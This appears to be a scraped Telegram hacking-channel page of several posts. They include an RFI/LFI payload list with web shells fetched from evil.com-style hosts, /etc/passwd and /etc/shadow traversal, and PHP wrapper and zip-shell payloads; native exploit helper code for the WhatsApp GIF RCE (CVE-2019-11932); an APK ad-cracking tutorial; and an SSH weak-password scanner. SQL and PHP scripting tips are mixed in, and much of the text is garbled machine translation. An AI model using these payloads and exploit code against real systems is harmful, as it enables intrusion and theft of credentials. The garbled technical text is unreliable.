UNDERCODE COMMUNITY
2.68K subscribers
1.23K photos
31 videos
2.65K files
80.3K links
πŸ¦‘ Undercode Cyber World!
@UndercodeCommunity


1️⃣ World first platform which Collect & Analyzes every New hacking method.
+ AI Pratice
@Undercode_Testing

2️⃣ Cyber & Tech NEWS:
@Undercode_News

3️⃣ CVE @Daily_CVE

✨ Web & Services:
β†’ Undercode.help
Download Telegram
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ RFI/LFI Payload List :
fb.com/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) As with many exploits, remote and local file inclusions are only a problem at the end of the encoding. Of course it takes a second person to have it. Now this article will hopefully give you an idea of protecting your website and most importantly your code from a file iclusion exploit. I’ll give code examples in PHP format.

2) Let’s look at some of the code that makes RFI / LFI exploits possible.

<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = $ _GET [page];
include ($ page);
?>

3) Now obviously this should not be used. The $ page entry is not fully cleared. $ page input is directed directly to the damn web page, which is a big β€œNO”. Always remove any input passing through the browser. When the user clicks on β€œFile” to visit β€œfiles.php” when he visits the web page, something like this will appear.

http: //localhost/index.php? page = files.php

4) Now if no one has cleared the input in the $ page variable, we can have it pointed to what we want. If hosted on a unix / linux server, we can display the password as configuration files for shaded or uncleaned variable input.

5) Viewing files on the server is a β€œLocal File Inclusion” or LFI exploit. This is no worse than an RFI exploit.

http: //localhost/index.php? page = .. / .. / .. / .. / .. / .. / etc / passwd
The code will probably return to / etc / passwd. Now let’s look at the RFI aspect of this exploit. Let’s get some of the codes we’ve taken before.

<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = $ _GET [page];
include ($ page);
?>

6) Now suppose we write something like …

http: //localhost/index.php? page = http: //google.com/
Probably where the $ page variable was originally placed on the page, we get the google.com homepage. This is where the codder can be hurt. We all know what c99 (shell) can do, and if coders are careful, they may be included in the page, allowing users to surf through sensitive files and contacts at the appropriate time. Let’s look at something simpler that can happen on a web page. The faster and more dirty use of RFI exploitation is to your advantage. Now, create a file named β€œtest.php” and put the following code in it and save it.


<? Php
passthru ($ _ GET [cmd]);
?>

7) Now this file is something you can use to your advantage to include it on a page with RFI exploitation. The passthru () command in PHP is very evil, and many hosts call it β€œout of service for security reasons”. With this code in test.php, we can send a request to the web page, including file inclusion exploit.

http: //localhost/index.php? page = http: //someevilhost.com/test.php
When the code makes a $ _GET request, we must provide a command to pass to passthru (). We can do something like this.

8) http: //localhost/index.php? page = http: //someevilhost.com/test.php? cmd = cat / etc / passwd
This unix machine will also extract the file / etc / passwd using the cat command. Now we know how to exploit RFI exploit, now we need to know how to hold it and make it impossible for anyone to execute the command, and how to include remote pages on your server. First, we can disable passthru (). But anything on your site can use it again (hopefully not). But this is the only thing you can do. I suggest cleaning the inputs as I said before. Now, instead of just passing variables directly to the page, we can use a few PHP-proposed structures within functions. Initially, chop () from perl was adapted to PHP, which removes whitespaces from an array. We can use it like this.

<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = chop ($ _ GET [page]);
include ($ page);
?>

9) There are many functions that can clear string. htmlspecialchars () htmlentities (), stripslashes () and more. In terms of confusion, I prefer to use my own functions. We can do a function in PHP that can clear everything for you, here I’ve prepared something easy and quick about this course for you.
<? Php
function cleanAll ($ input) {
$ input = strip_tags ($ input);
$ input = htmlspecialchars ($ input);
return ($ input);
}
?>
10) Now I hope you can see what’s going on inside this function, so you can add yours. I would suggest using the str_replace () function and there are a lot of other functions to clear them. Be considerate and stop the RFI & LFI exploit frenzy!

Basic LFI (null byte, double encoding and other tricks) :
http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd
Interesting files to check out :

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
Basic RFI (null byte, double encoding and other tricks) :
http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
LFI / RFI Wrappers :
LFI Wrapper rot13 and base64 - php://filter case insensitive.

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

11) Can be chained with a compression wrapper.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
LFI Wrapper ZIP :
echo "</pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
RFI Wrapper DATA with "" payload :
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
RFI Wrapper EXPECT :
http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls
XSS via RFI/LFI with "" payload :
http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
LFI to RCE via /proc/*/fd :
Upload a lot of shells (for example : 100)
Include http://example.com/index.php?page=/proc/$PID/fd/$FD with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

@UndercodeTesting
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Android APP cracked to advertising complete tutorial Full by UnderCode :
instagram.com/UnderCodeTestingCompany

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) WHAT EXCTLY WE WANT :

> Power consumption, power consumption, screen space, flickering eye-catching, accidental touch, this advertising method is intolerable for patients with obsessive-compulsive disorder, I believe most people will also be disgusted, so the commonly used apps are almost Never seen it. From the perspective of learning, I tried to hack this application and "block" the advertising function.

2) Unzip
Download the apk file, modify the suffix to .zip, and extract it to a folder

3) among them:

> assets folder -put native asset files

>lib folder -put reference library files

>META-INF folder -put manifest file

>res folder -put resource files

>AndroidManifest.xml -Android manifest

>resources.arsc -the main resources file

>The above are mainly related to resources. If you need to extract some
pictures or sound resources, you can find them directly in the folder. The remaining classes.dex file is more important. It is a packaging format for classes in Android. .

4) View the jar
To view the code, you need to convert the dex file into a jar file. Here is a recommended software "Android Reverse Assistant"

5) It integrates apktool, autosign, dex2jar, jd-gui and other common tools, which is very convenient.
Here, select the dex2jar function, browse the source files, select the decompressed classes.dex file, and click the operation button to automatically generate the classes_dex2jar.jar file.
Then select jd to open the jar function, you can call jd-gui to view the jar file.
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ¦‘ ou can see in jd-gui that most of the code is obfuscated, and the code optimized by the compiler will be different from the source code, but the logic is still the same, and it can still be roughly understood if you look carefully.

6) find ad pages and code
To find the activity of the advertisement page, connect the phone to the computer, and log will be output in the logcat of Android Studio or Eclipse. Enter "ActivityManager" in the log search field. When the advertisement page is launched, you can see the full name of Acitivty in the log Then find this Activity in jd-gui.
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

SECOND STEP - CRACKING APK :

πŸ¦‘ Analysis code: The
ads mainly use the two views adStream and adwo, which are initialized and added to the page in the two methods adInit_av () and adInit_aw () respectively. If you modify these two methods to prevent them from being initialized and added, then you have achieved the goal.

2) At the same time, other places where these two views are used must be judged to prevent the program from crashing. Fortunately, they have already been performed in the original code. Empty judgment.

3) Unpack and modify the smali assembly code
After you find the advertisement page and method, you need to modify it. It is definitely impossible to directly change the jar file. You need to unpack the original apk file. The smali file generated after unpacking can be modified directly with a text editor. Unpack using apktool, copy the apk file (if you changed it to .zip , change it back to .apk ) to the apktool folder, and enter the command (xx.apk replaced with the actual name):

>apktool d xx.apk

4) you can see the unpacked folder in the same folder, with the same name as apk

5) Enter the directory generated by unpacking, and see that the folder is basically similar to direct decompression, the difference is that the smali folder is generated, the generated assembly code is inside, and the directory structure is the same as the package name

6) It is easy to find the page code XXXActivity.smali that needs to be modified , and you can open the modification directly with a text editor.

7) Search for the method adInit_av () that needs to be modified . The following is the definition of the method:

8) The middle ellipsis is the body of the method. According to the analysis of the code above, you can delete the body of the method. Then find another method adInit_aw () , also delete the method body and save the file.
πŸ¦‘ WELL ! THIS TUTORIAL, DETAILED HOW CRACK APK BY UNDERCODE FOR BEGINER & ADVANCED
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ LASTEST WHATSAPP EXPLOITE-TESTED 2.19 V
T.me/UNDERCODETESTING

# Vendor Homepage: https://www.whatsapp.com/
# Version: < 2.19.244
# Tested on: Whatsapp 2.19.216
# CVE: CVE-2019-11932
# Reference1: https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
# Full Android App: https://github.com/valbrux/CVE-2019-11932-SupportApp
# Credits: all credits for the bug discovery goes to Awakened (https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/)

/*
*
* Introduction
* This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened , by calculating the system() function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability.
* The full Android application code is available at the following link https://github.com/valbrux/CVE-2019-11932-SupportApp
*
*/

#include <jni.h>
#include <string>
#include <dlfcn.h>
#include <link.h>

typedef uint8_t byte;
char *gadget_p;
void* libc,* lib;

//dls iteration for rop
int dl_callback(struct dl_phdr_info *info, size_t size, void *data)
{
int j;
const char *base = (const char *)info->dlpi_addr;
for (j = 0; j < info->dlpi_phnum; j++) {
const ElfW(Phdr) *phdr = &info->dlpi_phdr[j];
if (phdr->p_type == PT_LOAD && (strcmp("/system/lib64/libhwui.so",info->dlpi_name) == 0)) {
gadget_p = (char *) base + phdr->p_vaddr;
return 1;
}
}
return 0;
}

//system address
void* get_system_address(){
libc = dlopen("libc.so",RTLD_GLOBAL);
void* address = dlsym( libc, "system");
return address;
}

//rop gadget address
void get_gadget_lib_base_address() {
lib = dlopen("libhwui.so",RTLD_GLOBAL);
dl_iterate_phdr(dl_callback, NULL);
}

//search gadget
long search_for_gadget_offset() {
char *buffer;
long filelen;
char curChar;
long pos = 0; int curSearch = 0;
//reading file
FILE* fd = fopen("/system/lib64/libhwui.so","rb");
fseek(fd, 0, SEEK_END);
filelen = ftell(fd);
rewind(fd);
buffer = (char *)malloc((filelen+1)*sizeof(char));
fread(buffer, filelen, 1, fd);
fclose(fd);
//searching for bytes
byte g1[12] = {0x68, 0x0E, 0x40, 0xF9, 0x60, 0x82, 0x00, 0x91, 0x00, 0x01, 0x3F, 0xD6};
while(pos <= filelen){
curChar = buffer[pos];pos++;
if(curChar == g1[curSearch]){
curSearch++;
if(curSearch > 11){
curSearch = 0;
pos-=12;
break;
}
}
else{
curSearch = 0;
}
}
return pos;
}

extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getSystem(JNIEnv* env,jobject) {
char buff[30];
//system address
snprintf(buff, sizeof(buff), "%p", get_system_address());
dlclose(libc);
std::string system_string = buff;
return env->NewStringUTF(system_string.c_str());
}



extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getROPGadget(JNIEnv* env,jobject) {
char buff[30];
get_gadget_lib_base_address();
//gadget address
snprintf(buff, sizeof(buff), "%p",gadget_p+search_for_gadget_offset());
dlclose(lib);
std::string system_string = buff;
return env->NewStringUTF(system_string.c_str());
}

@UNDERCODETESTING
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ SQL-SMALL TIP
What are the transaction isolation levels? What is the default isolation level for MySQL?
t.me/UnderCodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

> The SQL standard defines four isolation levels:

1) READ-UNCOMMITTED: The lowest isolation level that allows reading of uncommitted data changes, which may cause dirty reads, phantom reads, or non-repeatable reads.

2) READ-COMMITTED (read committed): Allows reading of data that has been committed by concurrent transactions, which can prevent dirty reads, but phantom or non-repeatable reads can still occur.

3) REPEATABLE-READ (repeatable read): The results of multiple reads of the same field are consistent, unless the data is modified by the transaction itself, can prevent dirty reads and non-repeatable reads, but phantom reads may still occur.

4) SERIALIZABLE (serializable): the highest isolation level, fully obeys the ACID isolation level. All transactions are executed one by one in order, so there is no possibility of interference between transactions, that is, this level can prevent dirty reads, non-repeatable reads, and phantom reads.

πŸ¦‘ Isolation level Dirty read Non-repeatable Phantom reading
READ-UNCOMMITTED √ √ √
READ-COMMITTED Γ— √ √
REPEATABLE-READ Γ— Γ— √
SERIALIZABLE Γ— Γ— Γ—
The default isolation level supported by the MySQL InnoDB storage engine is REPEATABLE-READ . We can see by SELECT ;command

> mysql> SELECT @@tx_isolation;+-----------------+ @@tx_isolation| |+-----------------+| REPEATABLE-READ |+-----------------+

πŸ¦‘1) It should be noted that the difference from the SQL
2) Therefore, the default isolation level supported by the InnoDB storage engine is REPEATABLE-READ (rereadable), which can completely guarantee the transaction isolation requirements, that is, the SQL standard SERIALIZABLE (serializable) isolation level has been achieved .

3) Because the lower the isolation level, the fewer locks requested by the transaction, so the isolation level of most database systems is READ-COMMITTED (read submission): but you need to know that the InnoDB storage engine uses REPEATABLE-READ (can be (Re-reading) without any performance loss.

4) InnoDB storage engine in distributed transactions under conditions generally used SERIALIZABLE (serialization) isolation level.

Written by UNDERCODE
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘SOME FACEBOOK CVE TYPES
fb.com/UnderCodeTesting :

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) CVE-2019-15841 352 CSRF 2019-08-30 2019-09-03 6.8 None Remote Medium Not required Partial Partial Partial
The facebook-for-woocommerce plugin before 1.9.15 for WordPress has CSRF via ajax_woo_infobanner_post_click, ajax_woo_infobanner_post_xout, or ajax_fb_toggle_visibility.

2) CVE-2019-15840 352 CSRF 2019-08-30 2019-09-03 6.8 None Remote Medium Not required Partial Partial Partial
The facebook-for-woocommerce plugin before 1.9.14 for WordPress has CSRF.

3) CVE-2019-11929 119 Exec Code Overflow 2019-10-02 2019-10-10 7.5 None Remote Low Not required Partial Partial Partial
Insufficient boundary checks when formatting numbers in number_format allows read/write access to out-of-bounds memory, potentially leading to remote code execution. This issue affects HHVM versions prior to 3.30.10, all versions between 4.0.0 and 4.8.5, all versions between 4.9.0 and 4.18.2, and versions 4.19.0, 4.19.1, 4.20.0, 4.20.1, 4.20.2, 4.21.0, 4.22.0, 4.23.0.

4) CVE-2019-11926 125 2019-09-06 2019-10-09 7.5 None Remote Low Not required Partial Partial Partial
Insufficient boundary checks when processing M_SOFx markers from JPEG headers in the GD extension could allow access to out-of-bounds memory via a maliciously constructed invalid JPEG input. This issue affects HHVM versions prior to 3.30.9, all versions between 4.0.0 and 4.8.3, all versions between 4.9.0 and 4.15.2, and versions 4.16.0 to 4.16.3, 4.17.0 to 4.17.2, 4.18.0 to 4.18.1, 4.19.0, 4.20.0 to 4.20.1.

5) CVE-2019-11925 125 2019-09-06 2019-10-09 7.5 None Remote Low Not required Partial Partial Partial
Insufficient boundary checks when processing the JPEG APP12 block marker in the GD extension could allow access to out-of-bounds memory via a maliciously constructed invalid JPEG input. This issue affects HHVM versions prior to 3.30.9, all versions between 4.0.0 and 4.8.3, all versions between 4.9.0 and 4.15.2, and versions 4.16.0 to 4.16.3, 4.17.0 to 4.17.2, 4.18.0 to 4.18.1, 4.19.0, 4.20.0 to 4.20.1.

6) CVE-2019-11924 400 2019-08-20 2019-08-30 7.8 None Remote Low Not required None None Complete
A peer could send empty handshake fragments containing only padding which would be kept in memory until a full handshake was received, resulting in memory exhaustion. This issue affects versions v2019.01.28.00 and above of fizz, until v2019.08.05.00.

7) CVE-2019-11922 362 2019-07-25 2019-08-12 6.8 None Remote Medium Not required Partial Partial Partial
A race condition in the one-pass compression functions of Zstandard prior to version 1.3.8 could allow an attacker to write bytes out of bounds if an output buffer smaller than the recommended size was used.

8) CVE-2019-11921 787 2019-07-25 2019-08-02 7.5 None Remote Low Not required Partial Partial Partial
An out of bounds write is possible via a specially crafted packet in certain configurations of Proxygen due to improper handling of Base64 when parsing malformed binary content in Structured HTTP Headers.

Powered by Wiki
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ New Critical RCE Bug in OpenBSD SMTP Server Threatens Linux Distros
twitter.com/undercodeNews

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) Security researchers have discovered a new critical vulnerability in the OpenSMTPD email server. An attacker could exploit it remotely to run shell commands as root on the underlying operating system.

2) OpenSMTPD is present on many Unix-based systems, including FreeBSD, NetBSD, macOS, Linux (Alpine, Arch, Debian, Fedora, CentOS).

3) Bug present since late 2015
Tracked as CVE-2020-8794, the remote code execution bug is present in OpenSMTPD's default installation. Proof-of-concept (PoC) exploit code

4) Server-side exploitation is possible when the attacker connects to the OpenSMTPD server and sends an email that creates a bounce.

When OpenSMTPD connects back to deliver the bounce, the attacker can take advantage of the client-side vulnerability.

5) On OpenBSD, binary patches are available by running the 'syspatch' command and confirming that OpenSMTPD restarted:

$ doas syspatch

Written by UnderCode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘SSH Secure Shell 3.0.0 Vulnerability Scanner how and why ?
twitter.com/undercodeNews

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) The following tool will scan the network for hosts using the vulnerable SSH version 3.0 that allows attackers to login to accounts without prompting for a user when their password is shorter than two characters.

2) Tool:
#!/usr/bin/perl
#
# A local SSH 3.0.0 vulnerability scanner for the
# SSH Short Password Login Vulnerability
#
# Note: You must have superuser access on the system to scan it.
#
# usage: ./ssh3.pl
# Optional: -e turn off error
# -h specify a different /etc/shadow file
# (Options must come before host name)
#

# This and all of my programs fall under my disclaimer, which
# can be found at: http://hypoclear.cjb.net/hypodisclaim.txt


use IO::Socket; use Getopt::Std;
getopts(''h:e'');

4) die "" usage: $0 Optional: -e turn off error -h specify a different /etc/shadow file "" unless @ARGV > 0;
if (!defined $opt_h)
{ $opt_h = ""/etc/shadow"";
}

$out = &bannerGrab($ARGV[0],22);
sysread $out, $message,100;
close $out;

5) if (($message =~ /3.0.0/) || (defined $opt_e))
{ print ""Running SSH 3.0.0, checking for vulnerabilities... "";
open(SHADOW, ""<$opt_h"") || die ""Cannot open $opt_h! Note: You must have superuser access to run this script. "";
while()
{ $name = $_;
$name =~ s/:.*$//;
$_ =~ s/^.*?://;
$_ =~ s/:.*$//;
$name =~ s/s//g; $_=~s/s//g;
push(@name,$name);
push(@hash,$_);
push(@lnnum,$cnt++); $cnt++;
}
close(SHADOW);

foreach $hash (@hash)
{ @chars = split(//,$hash);
foreach $char (@chars)
{ $count++;
}
if ($count <= 2)
{ print ""$name[$line] (line $lnnum[$line]) may be vulnerable! "";
$vulnFlag = 1;
}
$count=0; $line++;
}
if ($vulnFlag != 1)
{ print ""No accounts appear to be vulnerable. "";
}
}
else
{ if (!defined $opt_e)
{ print ""You are not running SSH 3.0.0. "";
die ""If you feel that this is an error run with the -e option. "";
}
}
print "" "";


6) sub bannerGrab
{ $host = gethostbyname($_[0]) || warn ""cannot connect to $ARGV[0] "";
$port = getservbyport($_[1], ''tcp'');
$haddr = sockaddr_in($_[1], $host);
socket(OUT, PF_INET, SOCK_STREAM, getprotobyname(''tcp'')) || warn ""$! "";
connect(OUT, $haddr) ;
return OUT;
}


Written by UnderCode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘HOW TO USE [Turn] PHP as Shell Script ?
fb.com/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) Why PHP is so
popular Recently PHP (Personal Hypertext Preprocessor) seems to have become the most widely used web processing language on Linux / Unix in the past two years. Its convenience, powerful functions and OpenSource features have gradually eroded it. In the traditional CGI and even the MicroSoft ASP (Active Server Page) market, almost every major website recruits people with PHP as its basic condition.

2) PHP does have this qualification and can be so
popular for several reasons: PHP is OpenSource software, completely free and can be distributed freely, so it has attracted a lot of people to use it, and because of this, it has attracted commercial companies to develop it better Engine and optimization software

3) PHP itself is very simple and easy to understand, with a simple instruction syntax, plus some basic object-oriented processing capabilities, so that novices can learn in the shortest time.

4) PHP provides quite a lot of functions, including mathematical processing, string processing, network-related functions, support for various databases, image processing functions, and a large number of developers are developing various new functions for PHP, expanding Excellent sex.

5) PHP is very easy to combine with Apache. It is used as an Apache module, and it is quite simple to set up and install. Because Apache has already occupied 60% of the global Web Server market, PHP naturally becomes the best combination of Apache.

6) However, the topic this time is not the application of PHP in web design, but the application of PHP in Shell Script. Generally known Shell Script is about tcsh, bash, perl or python. I want It's all about using PHP as a shell script.

πŸ¦‘ Installation of PHP executable files

1) Generally, PHP as a web processing language is compiled into Apache modules. Of course, it is not necessary to do this, so it is very easy to compile. As long as the root, perform the following actions:

> Unzip php-3.0.xx. After tar.gz
cd php
configure
make is
compiled, there is an executable file in the php directory named php and you can copy it to / usr / local / bin. Note that if the file is too large, you can use the strip command to remove unnecessary information from PHP, so the file will be much smaller.

2) The first program
starts writing our first PHP Shell Script program. This example prints "Hello world!":
#! / Usr / local / bin / php -q
<?
Echo "Hello, world!";
?>

3) Note that PHP was originally used in web applications, so it will definitely send HTML headers, but here we are using PHP as a shell script, "-q"

4) In this example, / usr / local / bin / php is meant to execute PHP under / usr / local / bin / because we just installed it there. The echo command prints "Hello, world!", where the "" character is a newline character.

5) Note that after saving this program as a file, you must change its chmod to an executable attribute (chmod + x file name) before you can run it.

6) Advanced use of I
Sometimes we need to input some parameters when the program is executed, such as the ls command, followed by the -l parameter. PHP Shell Script also supports this usage. There are two special variables: $ argc keeps track of the number of arguments passed in, and the $ argv [] array argument holds the contents of the argument. For example, I want to design a program that calculates the sum of two numbers:
#! / Usr / local / bin / php -q
<?
$ Sum = 0;
$ sum = $ sum + $ argv [1] + $ argv [2] ;
echo $ sum;
?>

7) Assuming this program is named sum.php3, execute sum.php3 1 2 Press enter and it will print 3.
If you want to calculate an unspecified number of parameters, you need to use the special variable $ argc:
#! / Usr / local / bin / php -q
<?
$ Sum = 0;
for ($ t = 1; $ t <= $ argc; $ t ++)
$ sum = $ sum + $ argv [$ t];
echo $ sum;
?>
8) Assuming this program is named bigsum.php3, then running bigsum.php3 1 2 3 4 5 Pressing enter will print 15; executing bigsum.php3 1 2 3 4 5 6 pressing enter will Print out 21.
Sometimes we need to input data during the execution of the program, but PHP is originally used for web design, and the data input on the webpage is naturally input by FORM, so the problem comes when PHP is used as the shell script. In PHP, the file opening function is provided. Under Linux / Uinx, inputting can be done by opening files. We need to open the device file / dev / stdin (stdin is (Meaning standard input), the program is as follows:
#! / Usr / local / bin / php -q
<?
$ Fp = fopen ("/ dev / stdin", "r");
$ inputstr = fgets ($ fp, 100 );
fclose ($ fp);

echo "\ n ---------------------- \ n";
echo $ inputstr;
?>

9) where fgets ($ fp , 100) refers to the file $ fp (that is, "/ dev / stdin" ) Read 100 bytes of data, the program will stop at this line and wait for our input. After we enter and press enter, the program will print the data we just entered.
Advanced Use II

10) Although it can already handle input, such a function is obviously too simple to cope with larger applications. For example, I need a function to remove the HTML from a data stream. At this time, it needs to be complete. The ability to handle output and input redirection, we can first design the program as follows:
#! / Usr / local / bin / php -q
<?
$ Fp = fopen ("/ dev / stdin", "r");

while (! Feof ( $ fp)) {
$ c = fgetc ($ fp);
$ inputstr = $ inputstr. $ c;
};

fclose ($ fp);

echo $ inputstr;
?>

11) Assuming this program is named filt.php3, if you directly Run this program, it will wait for your input, it will not print your input data until you press Ctrl + D, we can run it like this :
more filt.php3 | filt.php3

12) This way is to filter The .php3 program is shown with more and switched to the program filt.php3. Filt.php3 will continue to accept information (in fact, the code of the filt.php3 program), and finally print it out.
We can add HTML filtering to it:
#! / Usr / local / bin / php -q
<?
$ Fp = fopen ("/ dev / stdin", "

while (! feof ($ fp)) {
$ c = fgetc ($ fp);
$ inputstr = $ inputstr. $ c;
};

fclose ($ fp);

$ inputstr = ereg_replace ("<([^ <>] * )> "," ", $ inputstr);

echo $ inputstr;
?>

13) Suppose this program is named filt2.php3, so that the filtering function is completed. If you do n’t believe me, please try an HTML file:
more xxx.html filt2.php3
You will see that the HTML TAG file has been deleted.
Conclusion

14) PHP is actually quite easy to use as Shell Script, because PHP itself is easy to learn, and it supports various databases. After you have often used PHP to design your website, you definitely do not like to use other Shell Script language to deal with other parts that must not be web pages. At this time, the benefits of using PHP as Shell Script will become apparent. You can develop the entire system in a consistent manner, without having to use PHP and use it again. Perl / Python or C.

15) The domestic PHP atmosphere has been quite prosperous. The LinuxFab on this site is developed entirely with PHP and MySQL. In fact, there are still many wonderful uses of PHP. I have the opportunity to introduce it later. If readers need information about PHP, welcome to this site. Participate in more discussions on the PHP forum.
& nb

Written by UnderCode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁